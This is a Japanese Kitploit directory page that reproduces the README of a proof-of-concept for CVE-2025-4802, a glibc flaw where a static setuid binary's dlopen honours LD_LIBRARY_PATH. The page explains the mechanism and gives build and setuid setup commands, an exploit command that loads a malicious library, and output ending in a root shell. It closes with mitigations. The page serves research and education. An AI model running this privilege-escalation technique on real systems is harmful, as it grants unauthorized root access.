Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4802-Proof-of-Concept — 静的にコンパイルされ、LD_LIBRARY_PATHを使用したdlopenに対して脆弱なsetuidバイナリの概念実証 | Kitploit
ツール/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

静的にコンパイルされ、LD_LIBRARY_PATHを使用したdlopenに対して脆弱なsetuidバイナリの概念実証

リポジトリを見る
2157ヶ月前未レビュー

CVE-2025-4802 — 概念実証

⚠️ 免責事項: このリポジトリは教育および正規のセキュリティ研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。不正使用は法律や規制に違反する可能性があります。

CVE 概要

フィールド詳細
CVE IDCVE-2025-4802
影響を受けるソフトウェアGNU C Library (glibc)
影響を受けるバージョン2.27 – 2.38
脆弱性の種類信頼できない LD_LIBRARY_PATH による権限昇格
攻撃ベクトルローカル

説明

GNU C Library (glibc) バージョン 2.27 から 2.38 における脆弱性により、攻撃者は dlopen() を呼び出す静的リンクされた setuid バイナリの LD_LIBRARY_PATH 環境変数を悪用できます。

通常、動的リンカは setuid プログラムに対して LD_LIBRARY_PATH をサニタイズします。しかし、静的にリンクされたバイナリは動的リンカを完全にバイパスするため、LD_LIBRARY_PATH は決してクリアされません。そのようなバイナリが dlopen() を(直接、または setlocale() や getaddrinfo() のような NSS 関数を介して間接的に)呼び出すと、glibc は攻撃者が制御する LD_LIBRARY_PATH を使用して共有ライブラリを解決し、昇格された権限で任意のコードを実行できるようになります。

動作の仕組み

  1. 静的にリンクされた setuid-root バイナリが dlopen("myso.so", ...) を呼び出して、共有オブジェクトを名前で(絶対パスではなく)ロードします。
  2. バイナリが静的にリンクされているため、動的リンカ(ld-linux.so)は実行されず、LD_LIBRARY_PATH はサニタイズされません。
  3. 攻撃者は、同じ hello() シンボルをエクスポートするが、ルートシェルを起動する悪意のある共有オブジェクト(myso.so)を作成します。
  4. 攻撃者は LD_LIBRARY_PATH を、悪意のあるライブラリが含まれるディレクトリを指すように設定します。
  5. setuid バイナリが実行されると、正当なライブラリの代わりに攻撃者のライブラリをロードし、ルートとして任意のコードを実行します。

リポジトリ構造

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

前提条件

  • OS: Fedora 39(または脆弱性のある glibc を搭載した任意の Linux ディストリビューション)
  • glibc バージョン: 2.27 – 2.38(ldd --version で確認)
  • パッケージ: gcc, make
  • setuid ビットを設定するためのルートアクセス

再現手順

1. すべてをビルド

root@kitploit:~
make all

または手動:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Setuid ビットを設定(ルート権限が必要)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. 通常実行(安全な動作)

root@kitploit:~
./main

期待される出力:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. LD_LIBRARY_PATH を使用したエクスプロイト(悪意のある動作)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

期待される出力:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

バイナリは正当な myso.so の代わりに evil_library/ から攻撃者の myso.so をロードし、ルートシェルを起動します。

概念実証

Proof of Concept Screenshot

ビデオチュートリアルも利用可能です: proof_of_concept_video.mp4

緩和策

  • glibc をパッチ適用済みのバージョン (> 2.38) にアップグレード
  • dlopen() を使用する setuid バイナリでは静的リンクを避ける
  • dlopen() の呼び出しでは、ベアなライブラリ名ではなく絶対パスを使用する
  • dlopen() を呼び出す前に権限をドロップする
  • コンパイラ/リンカのハードニングフラグを使用し、可能な限り setuid を避ける

リソース

  • NVD — CVE-2025-4802
ツールをダウンロード